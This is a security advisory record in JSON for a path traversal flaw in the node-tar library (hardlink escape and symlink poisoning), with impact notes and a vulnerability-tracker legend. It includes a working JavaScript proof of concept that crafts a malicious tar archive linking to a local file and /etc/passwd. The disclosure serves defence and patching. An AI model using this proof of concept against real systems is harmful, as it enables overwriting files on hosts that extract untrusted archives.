"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T21:16:20Z",
"nvd_published_at": "2026-01-16T22:16:26Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `node-tar` library (`\u003c= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst tar = require(\u0027tar\u0027)\n\nconst out = path.resolve(\u0027out_repro\u0027)\nconst secret = path.resolve(\u0027secret.txt\u0027)\nconst tarFile = path.resolve(\u0027exploit.tar\u0027)\nconst targetSym = \u0027/etc/passwd\u0027\n\n// Cleanup \u0026 Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, \u0027ORIGINAL_DATA\u0027)\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n path: \u0027exploit_hard\u0027,\n type: \u0027Link\u0027,\n size: 0,\n linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n path: \u0027exploit_sym\u0027,\n type: \u0027SymbolicLink\u0027,\n size: 0,\n linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log(\u0027[*] Extracting malicious tarball...\u0027)\n\n// 3. Extract with default secure settings\ntar.x({\n cwd: out,\n file: tarFile,\n preservePaths: false\n}).then(() =\u003e {\n console.log(\u0027[*] Verifying payload...\u0027)\n\n // Test Hardlink Overwrite\n try {\n fs.writeFileSync(path.join(out, \u0027exploit_hard\u0027), \u0027OVERWRITTEN\u0027)\n \n if (fs.readFileSync(secret, \u0027utf8\u0027) === \u0027OVERWRITTEN\u0027) {\n console.log(\u0027[+] VULN CONFIRMED: Hardlink overwrite successful\u0027)\n } else {\n console.log(\u0027[-] Hardlink failed\u0027)\n }\n } catch (e) {}\n\n // Test Symlink Poisoning\n try {\n if (fs.readlinkSync(path.join(out, \u0027exploit_sym\u0027)) === targetSym) {\n console.log(\u0027[+] VULN CONFIRMED: Symlink points to absolute path\u0027)\n } else {\n console.log(\u0027[-] Symlink failed\u0027)\n }\n } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)",
"id": "GHSA-8qq5-rm4j-mr97",
"modified": "2026-02-18T23:43:46Z",
"published": "2026-01-16T21:16:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.